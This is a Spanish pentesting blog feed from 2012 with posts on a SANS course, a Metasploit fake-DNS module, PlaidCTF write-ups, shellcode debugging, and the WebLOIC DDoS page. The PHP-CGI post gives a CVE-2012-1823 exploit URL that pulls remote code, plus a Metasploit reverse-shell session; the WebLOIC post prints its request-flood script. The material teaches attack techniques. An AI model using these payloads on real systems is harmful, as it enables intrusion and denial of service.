Pentester.es

Evento Community SANS en Madrid

noreply@blogger.com (Jose Selvi) — Fri, 01 Jun 2012 10:00:00 +0000

El próximo mes de Septiembre, durante su segunda quincena, tendrá lugar en Madrid un evento Community SANS. Tal y como ya comentamos en esta guía del SANS, un Community SANS es un evento en el que se realiza uno de los cursos oficiales del SANS, pero con la particularidad de no encontrarse dentro de una de las Conferencias del SANS, y donde además el curso se imparte en el idioma local (aunque los materiales están en Inglés).

En este caso, son dos los cursos de SANS que hay disponibles, algo poco habitual en un Community SANS: "SEC-503: Intrusion Detection In-Depth" y "SEC-560: Network Penetration Testing & Ethical Hacking".

Otra de las particularidades que va a tener este evento es que, en lugar de hacerse durante una semana (6 días de 6 horas) se va a dividir en dos semanas de la siguiente forma:

Semana 1: Jueves (20), Viernes (21) y Sábado (22)
Semana 2: Jueves (27), Viernes (28) y Sábado (29)

Esta nueva distribución espera facilitar la asistencia de los alumnos en el horario de 09:00-17:00 en el que se impartirán las clases. Las clases tendrán lugar en las instalaciones de VASS en Alcobendas (Madrid), y los profesores serán:

Ismael Valenzuela

Ismael Valenzuela (blog, twitter) es en la actualidad Principal Architect en McAfee Foundstone EMEA. Durante los últimos 11 años ha participado en proyectos de seguridad de ámbito internacional en todas sus vertientes, desde la gestión de la seguridad y el análisis de riesgo a las más técnicas como la repuesta ante incidentes, la detección de intrusos y el análisis forense y de malware.

Además de su titulación en Ingeniería Informática y Alta Dirección de Empresas, ostenta nueve certificaciones GIAC (GREM, GCFA, GCIA, GCIH, GPEN, GCUX, GCWN, GWAPT, GSNA) así como CISSP, ITIL, CISM e IRCA 27001 Lead Auditor.

También participa activamente en la comunidad de seguridad escribiendo artículos para revistas como Hakin9, INSECURE Magazine y el SANS Forensics Blog.

Jose Selvi

Jose Selvi (yo) (blog, twitter) es en la actualidad Senior Pentester en S21sec. Durante los últimos 9 años se ha dedicado principalmente a la realización de Test de Intrusión, la Gestión de Incidentes y la Detección de Intrusiones.

Además de su titulación en Ingeniería Informática e Ingeniería en Telecomunicaciones, ostenta las certificaciones CISA, CISSP, CNAP, GSEC, GCIA, GCIH, GPEN, y se encuentra en la actualidad preparando su Tesis Doctoral.

También es ponente habitual de las conferencias de seguridad Españolas, colaborador de revistas como Pentest Magazine y escritor de éste blog (Pentester.Es).

Más información, precios y registro en la web del SANS: AQUÍ (SEC503) o AQUÍ (SEC560).

¿Tú qué?

¿ATACAS O DEFIENDES?

BestFakeDNS incorporado en Metasploit

noreply@blogger.com (Jose Selvi) — Sat, 12 May 2012 07:47:00 +0000

Hace algunas semanas estuvimos hablando de BestFakeDNS, unas modificaciones que he realizado sobre el módulo FakeDNS original de Metasploit para permitir el uso de Wildcards y para elegir si la lista de objetivos queremos que los resuelva correctamente o con la respuesta falsa (y los que no están en la lista de la forma contraria, claro).

Esta mejora, además de publicarlas AQUÍ, la aporté como mejora al equipo de desarrollo de Metasploit, por si querían incorporarla, y esta misma mañana, después de algunos comentarios, he recibido la notificación de que se cerraba el PULL:

En teoría, tras incorporar IP y Puerto en los mensajes que muestra el módulo, mis mejoras estaban listas para ser incorporadas al trunk principal de la herramienta. Me fui inmediatamente a hacer una actualización a ver si la versión disponible para descarga ya lo incorporaba.

Como podeis ver, ya podeis disponer de esta funcionalidad sin tener que descargar el módulo, simplemente a partir de ahora cuando useis el fakedns de Metasploit esta funcionalidad estará incorporada.

Por desgracia parece que han olvidado hacer algún tipo de referencia a que esa mejora ha sido aportada por mi, ya que no aparezco por ningún lado en los créditos del módulo, pero bueno, lo importante es que la funcionalidad está disponible, que al fin y al cabo era lo que pretendía.

The Game del PlaidCTF

noreply@blogger.com (Jose Selvi) — Thu, 10 May 2012 05:28:00 +0000

Como os comentaba en mi anterior post, hace un par de semanas estuve intentando un par de retos del PlaidCTF. El que más me gustó de los dos fue el que ya os he explicado, pero además de ese también hice uno llamado "The Game" (que para mi gusto era más de programación que de hacking en sí) y que decía tal que así:

Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.
184.73.47.70:6969

Si conectábamos a la IP y puerto que decían mediante NCat o Telnet, nos devolvía algo así:

You have gotten 0 of 75
Choice 1 = 81dc9bdbf52d04dc20a036dbd8313ed055
Choice 2 = e2f1c714c4727ee9395af324cd2e7f331f
Which one is bigger? (1 or 2)

El sistema nos da dos churros incomprensibles y nos pide que digamos cual es mayor. Después de observar unas cuentas veces no parece que el orden sea por su ordenación ASCII, ni que sean hashes de números ni nada similar, así que tendremos que asumir que lo único que podemos hacer es ir aprendiendo que "churro" es mayor que otro por medio de observación de las respuestas del servidor.

Pepelux también estuvo pegándose con el reto y lo sacó de una manera similar aunque no idéntica a la que voy a explicar yo. Podeis verlo AQUÍ.

Para explicar el concepto del algoritmo utilizado vamos a suponer que la máquina elige 5 elementos diferentes (en el original serían hashes, y muchos más en cantidad, pero como ejemplo nos vale) que a priori el cliente no sabe en que orden van, aunque el servidor sí que conozca su orden:

El orden es lo de menos en realidad, pero supongamos que el servidor conoce a estos personajes y sabe que LUKE, aunque sea prota, es un poco soso, que CHEWIE es el papel más sencillo de aprender de la historia, pero que tiene mucho carisma, que YODA es el maestro de maestros pero OBIWAN siempre me ha gustado más, y que por supuesto VADER es el más grande de todos.

La primera idea de algoritmo que tuve es una lista a la que pudiera ir cambiando el orden según los descubrimientos que fuera haciendo, pero se me ocurrió que tenía la pega de que habría que recorrerla cada vez para buscar los elementos que queremos, y eso me parecía un poco "coñazo".

Por eso, pensando en alguna forma en que las búsquedas fueran muy rápidas, decidí usar un tipo de dato diccionario de Python, en los que los índices para buscar fueran los propios hashes, lo cual me permitía buscar el hash de una forma muy rápida. Pero... ¿cómo hacía después para comparar ambos hashes? Pues asignaba un valor entero "tentativo" a cada uno, así solo tenía que acceder por el hash, recuperar sus enteros y compararlos.

Con un pequeño ejemplo ayudado de nuestros amigos de Star Wars seguro que se entiende el algoritmo mucho mejor:

Antes de empezar comentaros que tenemos una variable "step" que la inicializamos a un valor muy alto. Para nuestro ejemplo lo haremos a 100, pero para el caso real se haría a un valor mucho mayor.

1. ¿OBIWAN o CHEWIE?: Ninguno de los dos está en el diccionario, así que elegimos al segundo como mayor. El sistema nos dice que FALLAMOS, así que hacemos lo siguiente:

dic['CHEWIE'] = 0
dic['OBIWAN'] = dic['CHEWIE'] + step = 100
step = step / 2 = 50

2. ¿LUKE o VADER?: Idem que antes. Elegimos el segundo y esta vez ACERTAMOS:

dic['LUKE'] = 0
dic['VADER'] = dic['LUKE'] + step = 50
step = step / 2 = 25

3. ¿YODA o CHEWI?: Yoda no lo tenemos aún, así que lo escogemos como mayor y ACERTAMOS:

dic['YODA'] = dic['CHEWI'] + step = 25
step = step / 2 = 12

Vamos a ver como va la cosa en el diccionario y seguimos unos pocos más:

dic['CHEWIE'] = 0
dic['LUKE'] = 0
dic['YODA'] = 25
dic['VADER'] = 50
dic['OBIWAN'] = 100

4. ¿LUKE o CHEWI?: Están empatados, así que cogemos cualquiera, el primero mismo, y FALLAMOS:

dic['CHEWIE'] = dic['LUKE'] + step = 12
step = step / 2 = 6

5. ¿VADER o YODA?: Vader es 50 y Yoda es 25, así que elegimos a Vader y ACERTAMOS, con lo que no tocamos nada, dejamos el diccionario como está.

6. ¿OBIWAN o VADER?: Obiwan es 100 y Vader 50, así que elegimos a Obiwan y FALLAMOS:

dic['VADER'] = dic['OBIWAN'] + step = 106
step = step / 2 = 3

Vamos a pegar otro vistazo a como llevamos la ordenación por ahora:

dic['LUKE'] = 0
dic['CHEWIE'] = 12
dic['YODA'] = 25
dic['OBIWAN'] = 100
dic['VADER'] = 106

Parece que a partir de este punto ya tenemos valores bien asignados en el diccionario, así que a partir de aquí todo van a ser aciertos, 75 o todos los que queramos. Lo único que hay que tener en cuenta es que el parametro step debe estar dimensionado a la cantidad de pasos que pensemos que vamos a necesitar.

Si por ejemplo calculamos que vamos a necesitar N pasos para aprender, entonces tenemos que elegir un step que sea 2^N, para que al ir dividiendo entre dos no nos vayamos a decimales. Tampoco pasaría nada siempre y cuando Python permita representar suficientes decimales (que no tengo ni idea de cuantos permite).

Esta es la idea del script que hice para superar el reto, solo que con un "step" mucho más grande y empleando los hashes en lugar de a nuestros amigos de Star Wars. Podeis descargar el script de AQUÍ si tenéis curiosidad en verlo completo. Lamentablemente tardaba bastante la ejecución y tuve que irme antes de que acabara, y cuando lo volví a lanzar ya se había acabado el tiempo del CTF y el servicio no estaba disponible, pero me programé yo un servicio que realizaba lo mismo (con unos pocos elementos) y la solución funcionaba perfectamente, por lo que presumiblemente debería funcionar igual con el servicio real.

Si los PPP publican el código del servicio de este reto lo probaré con él y pondré como una actualización en resultado.

Explotando PHP-CGI

noreply@blogger.com (Jose Selvi) — Sat, 05 May 2012 10:52:00 +0000

Entre el jueves y el viernes de la semana pasada (al menos yo me enteré ese día) saltó la noticia: Se había publicado una vulnerabilidad en PHP que podría permitir la ejecución de código de forma remota (CVE-2012-1823). La vulnerabilidad solo afecta a aquellos servidores en los que PHP ha sido configurado como CGI, y no como módulo del servidor web, que hasta donde yo sé la configuración más habitual. No obstante, existen conocidos servicios que emplean PHP como un CGI, por lo que aunque no sea la configuración más extendida, el impacto de la vulnerabilidad podría resultar ser muy grave:

La vulnerabilidad, en su concepto, es muy similar a la vulnerabilidad en Java WebStart publicada por Rubén Santamarta el año pasado, y que ya comentamos aquí [1] [2].

El concepto es: El servicio coge una serie de parámetros, entre ellos algunos (o todos) proporcionados por el usuario, y construye una llamada a un binario del sistema. Si no existe un filtrado correcto de dichos parámetros proporcionados por el usuario, podemos llamar al binario añadiendo opciones que el servicio no espera. Por poner un ejemplo (pseudo-código):

Binary = "PrintName.exe"
Args = "-n " + username
execute( Binary, Args )

Lo normal sería que el usuario introdujera su nombre pero ¿qué pasa si introduce algo como "Jose -cmd id"? Pues bueno, suponiendo que ese binario tiene una opción "-cmd" que le hace ejecutar el comando que se le pase, el usuario estaría consiguiendo ejecutar el comando "id" para ver los privilegios del usuario que ejecuta el servicio (en un Unix).

Esto es exactamente lo que ocurre en esta vulnerabilidad: Es posible añadir parámetros en la llamada a php-cgi cuando es llamado para interpretar una página, pero... ¿qué opciones nos da el binario php-cgi? Podemos ver todas sus opciones en la web de PHP (pone que es para el binario php, pero son las mismas opciones para php-cgi, por lo que he podido ver). De entre ellas, hay un par que resultan especialmente interesantes:

-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used

Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:

Nombre	Por defecto	Cambiable	Historial de cambios
allow_url_include	"0"	PHP_INI_ALL	PHP_INI_SYSTEM en PHP 5. Disponible desde PHP 5.2.0.
auto_prepend_file	NULL	PHP_INI_PERDIR	PHP_INI_ALL en PHP <= 4.2.3.

Bueno, pues parece que ya vamos viendo la luz al final del túnel: Si activamos que permita incluir URLs y hacemos que incluya el código PHP que queramos, ya podemos pasar a cosas más interesantes. Tendríamos entonces que construir una URL tal que así:

http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt

Esto debería funcionar y el código PHP en exploit.txt debería ser ejecutado por la web a la que estamos atacando, pero mirando los exploits publicados he visto algo que no conocía y que me ha gustado bastante, y es que podemos usar una URL especial php://input que lo que hace referencia es al contenido proporcionado por la entrada estándar, que en el caso de esta llamada será el contenido pasado por POST, así que podemos insertar código PHP sin necesidad de hacer referencia a ninguna URL externa, simplemente pasando el código por POST. La cosa quedaría así:

BINGO! Parece que ya podemos ejecutar código PHP, así que la cosa marcha, pero mejor que código PHP sería mejor ejecutar comandos del sistema operativo. Para eso solo hay que jugar un poquito con el PHP y pasarle algo así:

A partir de aquí ya solo tenemos que cambiar el contenido del parámetro "cmd" que estamos pasando por POST y poner el comando que queramos, y eso se ejecutará en el sistema con las restricciones que haya aplicado el sysadmin al usuario que ejecuta el servicio.

Dando un paso más allá, además de ejecutarlo a mano, resulta que la gente de Metasploit ya ha desarrollado un módulo llamado "php_cgi_arg_injection", lo cual hace muchísimo más sencilla su explotación:

$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf exploit(php_cgi_arg_injection) > set TARGETURI /
msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012

meterpreter > sysinfo
OS : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer : bt
Meterpreter : php/php

meterpreter > getuid
Server username: www-data (33)

meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L The local host to listen on (optional).
-h Help banner.
-l The local port to listen on.
-p The remote port to connect to.
-r The remote host to connect to.

No he jugado mucho con el Meterpreter PHP, pero imagino que tendrá una funcionalidad bastante reducida (igual que el de Java), pero por lo que he podido ver tiene la suficiente funcionalidad como para subir y bajar ficheros, redirigir puertos y algunas otras de esas funciones que tanto me gustan, y que nos van a acercar un poco más al PWN total del servidor.

Encryption Service del PlaidCTF

noreply@blogger.com (Jose Selvi) — Wed, 02 May 2012 05:30:00 +0000

El tema de los CTF es algo en lo que no suelo meterme. En ocasiones me apunto a alguno, pero no puedo dedicar todo el tiempo que requieren, así que suelo intentar sacar algún rato para hacer una prueba o dos y poco más.

El pasado fin de semana tuvo lugar el PlaidCTF, organizado por los PPP, un conocido equipo que compite habitualmente en los CTF. Los int3pids, para variar, no podían faltar a uno de estos eventos, así que aproveché que conozco a varios de ellos para que me dejaran conectarme algún ratejo e intentar alguno de los retos.

Solo me dio tiempo a hacer un par de retos en el rato que le pude dedicar durante el fin de semana, pero de ellos me gustó uno llamado "Encryption Service", que decía algo así:

We found the source code (http://ctf.plaidctf.com/media/files/encryption_service-00280bdc6eb758556bec5d38939aeaf8/encryption_service.py ) for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433

Como no sé si dejarán el código fuente indefinidamente publicado, os lo dejo subido AQUÍ por si acaso.

Si leéis un poco que hace el servicio, vereis que sigue un proceso tal que así:

El cliente conecta al servidor
El servidor genera aleatoriamente un IV (vector de inicialización) de 16 bytes que posteriormente usará para el cifrado, y se lo pasa al cliente.
El cliente elige una cadena de texto que le debe pasar al servidor en formato: longitud (en 4 bytes) + cadena
El servidor lee la cadena y la concatena con PROBLEM_KEY (que presumiblemente es la clave que se necesaria para superar la prueba) y lo rellena de caracteres hasta que la longitud de la cadena sea múltiplo de 16 (necesario para el cifrado).
La cadena resultante es cifrada mediante AES en Modo CBC con el IV que se nos ha proporcionado y una clave que desconocemos (no son todo 'x', por supuesto).
El resultado del cifrado vuelve al cliente en el mismo formato que antes: longitud (en 4 bytes) + cadena

La verdad es que cuando vi "padding" (relleno) lo primero que pensé fue en un ataque de Padding Oracle, pero en realidad no era nada de eso.

Lo primero que hice fue buscar un diagrama del Modo CBC (Cipher-block Chaining), porque al no ser una persona que se dedica a temas de criptografía (ni tampoco un apasionado del tema), la verdad es que no lo tenía en la cabeza en absoluto. En la Wikipedia sin ir más lejos podemos encontrar este:

Vamos a repasar las variables que tiene este diagrama, a ver que situación tenemos:

PlainText: Aunque lo que enviemos al servicio será concatenado con más texto, podemos utilizar cadenas de 16 bytes y así controlaríamos completamente el PlainText del primer bloque. Con 32 bytes controlaríamos el segundo, y así sucesivamente. Podríamos decir que tenemos un control total del PlainText de algunos bloques, pero no del PlainText completo.
IV: NO lo controlamos. Es generado aleatoriamente por el servidor. Eso sí, el servidor nos lo da a conocer antes de que le digamos que cadena debe cifrar.
Key: NO lo controlamos NI somos capaces de saber cual es. Es algo que permanece interno al servidor y no tenemos ni idea de cual será.
CipherText: El servicio nos devuelve el texto cifrado. NO lo controlamos de una forma directa, pero se produce a partir de algunas de los parámetros que sí controlamos, y algunos otros que no.

Así de primeras, parece que podemos "anular" un poco el factor de aleatorización que introduce el IV, ya que aunque no lo controlamos directamente, este únicamente se utiliza para hacer un XOR con la cadena que introduzcamos. Por poner un ejemplo, imaginad que quisiéramos que la cadena 'ABCDEFGHIJKLMNOP' (16 bytes) llegara tal cual a cifrarse con la clave que desconocemos. Solo tendríamos que seguir el siguiente proceso:

Conectamos y obtenemos el IV
Calculamos PlainText = 'ABCDEFGHIJKLMNOP' XOR IV y lo enviamos como cadena a cifrar
Al llegar al servidor y hacerse otra vez XOR con el IV, ambos se anulan, y la cadena que llega para cifrarse con la clave es 'ABCDEFGHIJKLMNOP'.

En esta situación podemos realizar los llamados Chosen Plaintext Attacks, porque son ataques que pretenden obtener información sobre la clave de cifrado a partir del conocimiento de los plaintext y de los ciphertext, pudiendo ser el plaintext elegido por el criptoanalista.

Buscando un poco a ver que opciones tenemos, podemos ver como se pueden realizar algunos ataques contra este diseño, muy similares a los publicados por Juliano Rizzo y Thai Duong el pasado año (BEAST). De entre la documentación que he podido leer por ahí, me ha gustado mucho (por su simplicidad) la que publicó el equipo de Tor Project AQUÍ, que dice algo así:

The ability to decide where block boundaries fall turns out to be a big deal. Let's suppose that instead of filling up a full plaintext block with 16 bytes of Evil, the attacker only fills up 15 bytes... so the block will have 15 bytes the attacker controls, and one byte of the secret. Whoops! There are only 256 possible values for a single byte, so the attacker can guess each one in turn, and use the older guess-checking attack to see if he guessed right.

En este caso, viendo el código del servidor, no necesitamos probar 256 valores para obtener el valor de un byte, sino que con comprobar los valores [a-z_] tendremos más que suficiente. Imaginad que queremos saber si el primer caracter es una 'x', podríamos hacer algo así:

Tenemos la cadena 'AAAAAAAAAAAAAAA' (15 bytes) que sera concatenada con el primer caracter del PROBLEM_KEY y será cifrada con la clave que desconocemos, y nos proporcionará un ciphertext.
Probamos lo mismo pero esta vez con la cadena 'AAAAAAAAAAAAAAAx' (16 bytes). En esta ocasión el PROBLEM_KEY no va a entrar en este bloque, sino en el siguiente, pero si su primer caracter era una 'x' el plaintext va a ser identico al de antes, y como la clave es la misma... el ciphertext debería ser igual.
Si vamos probando los posibles valores ([a-z_]) y comparando los ciphertext descubriremos cual es el valor de la X.
Este proceso se puede repetir reduciendo el número de bytes (14 bytes) para descubrir el segundo caracter, y así sucesivamente hasta descubrir toda la cadena.

Bueno, parece que lo tenemos ya casi todo hecho, pero... ¿y el IV? ¿No nos va a fastidiar un poco al "mezclarse" con PROBLEM_KEY? Pues... SI, así de primeras nos va a fastidiar un poco el asunto, porque podemos anular el IV con el PlainText que nosotros elegimo, pero cuando se concatena con el PROBLEM_KEY... perdemos esa capacidad. Veamos como lo haremos:

Si recordamos el diagrama y el control que tenemos sobre los elementos de él, sabemos que tenemos un control parcial del PlainText y una ausencia total de control del IV que se aplica al primer bloque, pero si conseguimos anular el IV inicial con los primeros 16 bytes del PlainText que elijamos entonces convertimos el ciphertext del primer bloque en estático (siempre será el mismo), con lo que el algoritmo pierde la aleatorización que le hubiera aportado el IV para este y los siguientes bloques. Para hacer esto simplemente elegimos los primeros 16 bytes que queramos (16 'A's, por poner el mismo ejemplo) y le hacemos XOR con el IV de cada conexión que hagamos, el cual se anulará al hacerse XOR con el mismo valor en el servidor. Hecho esto, podemos aplicar la técnica que comentaban en el blog del Tor Proyect a partir del segundo bloque.

Por lo tanto, vamos a utilizar el primer bloque para cargarnos la influencia del IV, y los dos siguientes para obtener el PROBLEM_KEY, que según el código al que hemos tenido acceso son 29 bytes, empleando la técnica que hemos descrito antes:

Conectamos y obtenemos el IV.
Cogemos los 16 bytes estáticos y hacemos XOR con el IV. Con eso obtenemos los primeros 16 bytes de nuestra cadena de entrada.
Creamos una cadena de 15 'A's y la concatenamos con la anterior. La enviamos para cifrar y nos guardamos el ciphertext del segundo bloque.
Repetimos la operación, pero vez vamos añadiendo a las 15 'A's los posibles valores [a-z_] y comprobamos si el ciphertext es el mismo que antes. Si lo es este es el caracter que buscamos.
Repetimos el proceso con 14 'A' (+ 1 caracter obtenido previamente + uno que probamos todas las opciones), luego con 13 (+ 2 obtenidos + 1 probando), y así sucesivamente hasta que hayamos llenado todo el primer bloque con los primeros 16 bytes del PROBLEM_KEY.
Nos vamos ahora al tercer bloque, y seguimos repitiendo idéntico proceso hasta que hayamos obtenido los 29 bytes del PROBLEM_KEY.

La implementación de todo esto la podeis descargar de AQUÍ si quereis ver todos los detalles. El script funcionaría algo así:

$ time ./encryption_f___er.py

PASSWORD = predictable_ivs_are_dangerous

real 3m28.070s

user 0m0.115s

sys 0m0.107s

Como podeis ver, hemos sacado el PROBLEM_KEY en unos pocos minutos sin conocer la clave de cifrado, solo por la posibilidad de hacer un Chosen-Plaintext-Attack.

From ShellCode to Binary (NcN 2011)

noreply@blogger.com (Jose Selvi) — Mon, 30 Apr 2012 05:13:00 +0000

Como ya comenté en un anterior post, el pasado mes de Septiembre participé como ponente en las Conferencias No cON Name en Barcelona, con una charla titulada "Debugging (Exploit) Payloads" que trataba sobre como podemos depurar lo que hace el payload/shellcode de un exploit para investigar posibles problemas.

Entre las cosas que comenté, había una slide que mostraba una posible manera de depurar un shellcode extraído con un exploit en un debugger tradicional (ollydbg, por ejemplo), y que suscitó algunas preguntas y comentarios tras la charla, así que he pensado que merecía la pena verlo con algo más de detalle. La slide en cuestión fue la siguiente:

Describiendo un poco el código, en primer lugar declaramos una variable estática llamada "shellcode" que es de tipo unsigned char, y sobre ella pegamos el contenido del shellcode que queremos depurar, extraído del exploit. A este contenido le ponemos delante y detrás un byte con valor 0xCC que en arquitectura x86 es el opcode de la instrucción "INT 3".

La interrupción 3 (INT 3) es lo que emplean los debuggers para detener la ejecución de un código en un punto (poner un breakpoint). Concretamente lo que hacen es guardarse el contenido original de la instrucción y sustituirla por el INT 3. Cuando la ejecución de ese código llega a una INT 3, esta se detiene y devuelve el control al debugger. Poniendo estos INT 3's "artificiales" en el shellcode lo que conseguimos es que la ejecución se pare en el inicio del shellcode para poder empezar a depurarlo. Ahora solo nos faltará hacer que la ejecución llegue hasta dicho shellcode, pero para eso está el código que podemos ver en el main:

int (*func)();

func = (int (*)) shellcode;

(int)(*func)();

Todos nosotros conocemos de sobra como declarar una función en C, y también como se utilizan los punteros (el puntero, el puntero a puntero, y el puntero a puntero de punteros que apuntan a punteros, que recuerdos de la universidad...). Lo que no es tan habitual es declarar un puntero a una función, al menos en una programación "habitual", pero resulta extremadamente útil para este caso.

Con la primera instrucción estamos declarando un puntero a función, es decir, estamos declarando una función pero aún no le estamos diciendo en que zona está el código de dicha función.

Con la segunda instrucción estamos asignando la dirección de la variable shellcode al puntero a la función, o lo que es lo mismo, si ahora llamamos a la función se ejecutará el contenido de la variable shellcode.

Por último, por ser un puntero a función, no se llama exactamente igual que una función normal, pero puede ser llamada como vemos en la tercera instrucción, de una forma bastante intuitiva si recordamos como se accedía al valor señalado por un puntero.

Con esto conseguimos un programa que lo único que hace es saltar la ejecución al shellcode, que hemos dejado adecuadamente preparado con un INT 3 delante para poder compilar este programa y lanzarlo con un debugger, y que se nos quede la ejecución parada al principio del shellcode, listo para depurar paso a paso o como queramos.

Una pregunta que surgió a varias personas sobre todo esto es ¿eso funciona?

La duda tiene fundamento, ya que en los sistemas modernos existen protecciones que impiden que el flujo de ejecución salte a algunas zonas de memoria, como por ejemplo la pila. Por ejemplo, en Windows, esta protección se llama DEP (Data Execution Prevention).

La respuesta era SÍ, funciona correctamente, por dos motivos:

Las pruebas las hice con un Windows XP SP3 que, aunque ya incorpora tecnología DEP, ésta está activada en la modalidad OptIn (igual que en Windows 7, si no recuerdo mal), con lo que la protección solo se aplica a procesos de sistema y algunos servicios "suscritos" a ella, con lo que un programita hecho y compilado por nosotros no va a tener, a priori, esta protección.
Aunque intentáramos depurar el payload en un sistema con otra opción por defecto diferente a OptIn, la variable a la que salta la ejecución (shellcode) es una variable global, y como tal se almacena en una zona de la memoria del proceso llamada rodata (read-only data), que está fuera de la pila y por lo tanto no le deberían aplicar este tipo de protecciones (aunque reconozco que no lo he probado).

¿Cómo lo hacéis vosotros? ¿ puntualización Alguna o mejora? Deja tu comentario :)

BestFakeDNS para Metasploit

noreply@blogger.com (Jose Selvi) — Wed, 04 Apr 2012 05:58:00 +0000

En los anteriores dos posts [1] [2] veíamos como mejorar algunas de las funcionalidades del módulo "fakedns" de Metasploit de una forma sencilla, modificando tan solo un par de lineas del script.

Sin embargo, estas soluciones rápidas, aunque bastante funcionales, pueden no funcionar perfectamente en cualquier circunstancia. Por ello, he publicado mi propia versión del "fakedns" a la que he llamado bestfakedns, y que puede ser descargada de AQUÍ.

Esta versión está basada en el fakedns original de Metasploit, pero se le han añadido la siguiente nueva funcionalidad:

Control de Acción (TARGETACTION): Ya no necesitamos modificar el código si queremos que funcione de la manera original o como lo hacíamos en los posts anteriores. Ahora tenemos un parametro que podemos definir como "BYPASS" o "FAKE" y que determina como empleará el módulo la lista que le pasamos.
Control de Errores: Se ha añadido el control de errores que ya mencionamos en los anteriores posts, para evitar que el módulo casque. Además ahora muestra un mensaje notificando que se ha intentado resolver un nombre inexistente.
Lista múltiple: Se pueden configurar varios nombres de hosts en la lista, tanto en BYPASS como en FAKE.
Wildcard: Es posible definir nombres de hosts con wildcards, por ejemplo *.pentester.es

Si por ejemplo quisiéramos capturar todas las conexiones a cualquier nombre del dominio pentester.es, las que vayan a www.yahoo.com y ninguna más, podríamos hacerlo de la siguiente forma:

msf > use auxiliary/server/bestfakedns

msf auxiliary(bestfakedns) > show options

Module options (auxiliary/server/bestfakedns):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The local host to listen on.

SRVPORT 53 yes The local port to listen on.

TARGETACTION BYPASS yes Action for TARGETDOMAIN (fake|bypass)

TARGETDOMAIN www.google.com yes The list of target domain names we want to fully resolver (bypass) or fake resolve (fake)

TARGETHOST no The address that all names should resolve to

msf auxiliary(bestfakedns) > set TARGETACTION FAKE

msf auxiliary(bestfakedns) > set TARGETDOMAIN *.pentester.es www.yahoo.com

msf auxiliary(bestfakedns) > set TARGETHOST 192.168.1.100

msf auxiliary(bestfakedns) > run

Estas nuevas funcionalidades, al menos a mi, me resultan muy útiles tanto en auditorías internas como en análisis de dispositivos. Existen otras herramientas de fakedns que probablemente ya lleven estas funcionalidades "de serie", pero a mi me resulta especialmente cómodo utilizarlo desde Metasploit.

¿Cuál es tu herramienta favorita? ¿Alguna funcionalidad que eches en falta?

WebLOIC: DDoS de Anonymous

noreply@blogger.com (Jose Selvi) — Mon, 02 Apr 2012 05:30:00 +0000

Como todos los que vivís en España sabeis, el pasado jueves estaba convocada una huelga general por el desacuerdo de los sindicatos con las reformas realizadas por el gobierno. Durante esta jornada tuvimos los típicos piquetes "informativos", pero también pudimos ver un nuevo tipo al que en algunos sitios he visto que los llaman ePiquetes.

Los que durante la jornada del pasado jueves estuvisteis observando el twitter, y más concretamente los hashtags relacionados con la huelga, os encontraríais tweets como este:

En estos Tweets podeis ver como se señala un objetivo (en este caso el Ministerio de Empleo y Seguridad Social) y un enlace que puede ser empleado para atacarlo. Este enlace vendría a ser una versión web de la herramienta LOIC (Low Orbit Ion Cannon), conocida por ser empleada habitualmente por Anonymous en sus ataques de Denegación de Servicio. Desconozco si realmente esta web está basada en la herramienta de escritorio, pero sí que he oído llamarla WebLOIC. Este "WebLOIC", tendría un aspecto así:

Como podeis ver, es un formulario web en el que se puede especificar la URL a atacar, la cantidad de conexiones (protestas) por segundo y un mensaje de protesta a enviar. Luego tiene un botón de "Comenzar Protesta" para empezar el ataque. En algunos casos se vieron enlaces como este pero que ya venían preconfigurados para empezar a lanzar un ataque con un mensaje concreto y un objetivo concreto nada más visitar la web, con lo que se hacía mucho más fácil que usuarios poco avanzados colaboraran. Simplemente tenían que pinchar en el enlace y dejar el navegador abierto.

Pero... ¿qué hace este "WebLOIC" para atacar al objetivo? Si configuramos nuestro navegador para que pase a través de un proxy, por ejemplo Burp, con el que capturar las conexiones que haga nuestro navegador, e intentamos lanzar un ataque contra alguna web, nos encontraremos algo como esto:

Como podeis ver, nuestro navegador empieza a lanzar un montón de conexiones a la URL que hemos especificado como objetivo, a la que le añade dos parámetros:

id: Un identificador numérico, que más adelante veremos que está basado en la fecha.
msg: El mensaje que definimos en el formulario.

El resto de la petición es como cualquiera de las que saldrían de nuestro navegador, con nuestro User-Agent y con la URL del "WebLOIC" como Referer.

Esta claro que la web hace que nuestro navegador lance todas estas conexiones, pero... ¿cómo lo hace? Podría hacerlo de muchas formas, unas mejores que otras, pero en este caso veremos que lo hace con Javascript. Si analizamos el código Javascript de la página veremos esta función:

var makeHttpRequest = function ()
{
if ( (currentTime.getTime()-lastSuccess) > 10000)
{
return;
}
else
{
lastSuccess = currentTime.getTime();};
  var rID =Number(new Date());
  var img = new Image();
  img.onerror = function () { onFail(rID); };
  img.onabort = function () { onFail(rID); };
  img.onload = function () { onSuccess(rID);
};
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};

Como podemos ver, existe una función "makeHttpRequest" crea una imagen y le asigna la URL de nuestro objetivo. Al intentar "mostrar" esta imagen, nuestro navegador va a hacer una conexión HTTP para conseguirla traer, exista o no, con lo que efectivamente se va a provocar una conexión HTTP. Ahora ya solo nos queda ver como hace para lanzar muchas conexiones. En otra zona de código encontramos lo que se ejecuta cuando pulsamos el botón de "protestar", que resumiendo es algo así:

